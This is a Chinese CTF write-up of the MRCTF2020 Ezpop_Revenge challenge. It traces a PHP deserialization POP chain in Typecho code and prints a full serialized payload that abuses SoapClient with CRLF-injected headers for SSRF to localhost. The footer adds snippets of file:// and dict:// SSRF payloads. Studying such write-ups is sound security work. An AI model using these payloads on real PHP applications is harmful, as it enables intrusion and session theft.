首页 > 编程语言 >【MRCTF2020】Ezpop_Revenge——PHP原生类SSRF

【MRCTF2020】Ezpop_Revenge——PHP原生类SSRF

时间:2023-11-16 10:56:44浏览次数:36  
标签:__ SSRF adapterName Db Revenge flag Typecho Ezpop php

【MRCTF2020】Ezpop_Revenge——PHP原生类SSRF

1. 收获

  • CMS初审计
  • google、baidu hack
  • PHP原生类反序列化

2. 看题

2.1 读源码

网页存在源码泄露,访问www.zip,得到源码。同时要知道,typecho模板是存在反序列化注入漏洞的,但是其存在于install.php,本题中没有这个文件,所以找找其他线索。

flag.php:

<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
   $_SESSION['flag']= "MRCTF{******}";
}else echo "我扌your problem?\nonly localhost can get flag!";
?>

说明是要读session中的flag字段。

搜索字符串unserialize,找到其他使用反序列化函数的地方,在/usr/plugin.php中发现:

image-20231114183420528

也就是说,如果请求中存在admin字段,同时session中的flag字段也被成功写入,则会输出flag的值。那我们要做的就是满足flag.php中的条件:$_SERVER['REMOTE_ADDR']==="127.0.0.1"

2.2 函数触发

为了激活该反序列化函数,我们需要查找action函数对应的路由,全局搜索类名HelloWorld_Plugin,定位到文件/var/Typecho/Plugin.php:

image-20231114205801338

可以看到访问/page_admin即可触发action函数。

2.3 POP链

查看/usr/plugin.php中的POP链,定位函数:

class HelloWorld_DB{
    private $flag="MRCTF{this_is_a_fake_flag}";
    private $coincidence;
    function  __wakeup(){
        $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
    }
}

这里实例化了一个类,所以进入Typecho_Db类中的__construction查看:

    public function __construct($adapterName, $prefix = 'typecho_')
    {
        /** 获取适配器名称 */
        $this->_adapterName = $adapterName;

        /** 数据库适配器 */
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

        if (!call_user_func(array($adapterName, 'isAvailable'))) {
            throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");//__toString()
        }

        $this->_prefix = $prefix;

        /** 初始化内部变量 */
        $this->_pool = array();
        $this->_connectedPool = array();
        $this->_config = array();

        //实例化适配器对象
        $this->_adapter = new $adapterName();
    }

这里提示使用__toString方法。全局搜索toString函数,这里使用/var/Typecho/Db/Query.php中的函数:

public function __toString()
    {
        switch ($this->_sqlPreBuild['action']) {
            case Typecho_Db::SELECT:
                return $this->_adapter->parseSelect($this->_sqlPreBuild);
            case Typecho_Db::INSERT:
           .....//省略后面
        }
    }

可以看到如果我们的_adapter属性不包含parseSelect方法的话就会调用其自身的__call函数,因此这里使用PHP中的原生类SoapClient进行SSRF,因为原生类中包含了__call函数。

利用链:

HelloWorld_DB::wakeup–>Typecho_Db::__construct(tostring)–>Typecho_Db_Query::__construct–>(this->_adapter=new Soapclient)–>SSRF

2.4 Payload

如下:

<?php 
class HelloWorld_DB{
    private $coincidence;
    public function __construct()
	{
		$this->coincidence['hello'] = new Typecho_Db_Query();
        $this->coincidence['world'] = 'test';
	}
}

class Typecho_Db_Query{
    private $_sqlPreBuild;
    private $_adapter;
    	private $_prefix;
    public function __construct()
    {
		$target = "http://127.0.0.1/flag.php";
        $headers = array(
            'X-Forwarded-For:127.0.0.1',
            "Cookie: PHPSESSID=qjk6oqprtp6i6rl3tgnk1csev6"
        );
        $this->_adapter = new SoapClient(null, array('uri' => 'test', 'location' => $target, 'user_agent' => "test\r\n" . join("\r\n", $headers)));
        $this->_sqlPreBuild['action'] = "SELECT";
    }

}
$A=new HelloWorld_DB();

echo urlencode(base64_encode(serialize($A)));
?>

下面只需要使用POST方式把上面的输出放到C0incid3nc3变量中即可。然后在GET参数上再加一个admin变量即可出现flag的值。

标签:__,SSRF,adapterName,Db,Revenge,flag,Typecho,Ezpop,php
From: https://www.cnblogs.com/capz/p/17835715.html

相关文章

  • CSRF & SSRF
    CSRF&SSRFCSRFCSRF(Cross-SiteRequestForgery)(跨站请求伪造漏洞)原理用户访问网站,网站给用户cookie,此时攻击者给用户发送了一个诱惑链接,链接里有对该网站的访问代码,用户点击攻击者的链接后,触发恶意代码,攻击者就利用用户的cookie,执行了对网站的请求(以接口形式调用请求)......
  • AT_abc326_e Revenge of "The Salary of AtCoder Inc." 题解
    AT_abc326_eRevengeof"TheSalaryofAtCoderInc."题解一道简单的概率论+动态规划题目(然而我赛时没看这道题题意有一个长度为\(n\)的序列\(A\)、一个\(n\)面骰子,掷若干次骰子,如果这一次掷骰子的点数小于等于上一次的点数,则结束。定义这若干次掷骰子的总的结果为,每次......
  • java基础漏洞学习----SSRF漏洞
    java基础漏洞学习----SSRF漏洞JAVA的SSRF常见利用协议仅支持sun.net.www.protocol下所有的协议:http,https,file,ftp,mailto,jar及netdoc传入的URL必须和重定向后的URL协议一致,JAVA中的SSRF不能和PHP中一样使用gother协议来扩展攻击面常见的可以发起网络请求,并且会导致SSRF......
  • CSRF和SSRF有什么区别?网络安全入门
    CSRF和SSRF有什么区别?网络安全入门现在是万物互联时代,一切都是信息化的,会涉及到个人隐私信息,一些不法分子可能会利用一些手段获取我们的信息,信息泄露出去便会有危险,因此就诞生了网络安全工程师这个岗位,近几年它的需求量也很大,那CSRF和SSRF有什么区别呢?请看下文:CSRF:说到CSRF,就不得......
  • web基础漏洞-ssrf
    手把手用实战教你SSRF漏洞从入门到精通-FreeBuf网络安全行业门户(1封私信/38条消息)ssrf业务-搜索结果-知乎(zhihu.com)1、介绍ssrf,server-serverrequestforgery服务端到服务端的请求伪造,或者server-siderequestforgery服务端侧的请求伪造。攻击的一般是服务端......
  • [MRCTF2020]Ezpop
    原理反序列化解题过程记得tostring的触发方式!还有urlencode只要是通过get请求,参数记得url编码https://blog.csdn.net/pakho_C/article/details/126057111......
  • CTFHub——SSRF(全)
    一、内网访问payload:http://127.0.0.1/flag.php(请求网页)payload:file://127.0.0.1/var/www/html/flag.php(得到flag.php的文件内容)二、伪协议读取文件payload:file:///var/www/html/flag.phpfile协议读取文件内容,不会进行执行三、端口扫描payload:dict://127.0.0.1:使用bp......
  • EZPOP
    来自:[MRCTF2020]Ezpop打开看源码:Welcometoindex.php<?php//flagisinflag.php//WTFISTHIS?//LearnFromhttps://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95//AndCrackIt!classModifier{......
  • SSRF-介绍
     SSRF是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。SSRF攻击的目标一般是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)    SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没......
  • SSSRF-302跳转 Bypass
    302跳转Bypass题目描述:SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧!  这道题绕过的方式有很多,这里先讲讲302跳转,302跳转就是由一个URL跳转到另外一个URL当中去,就好比现实生活中的呼叫转移,在网页中比如一个网......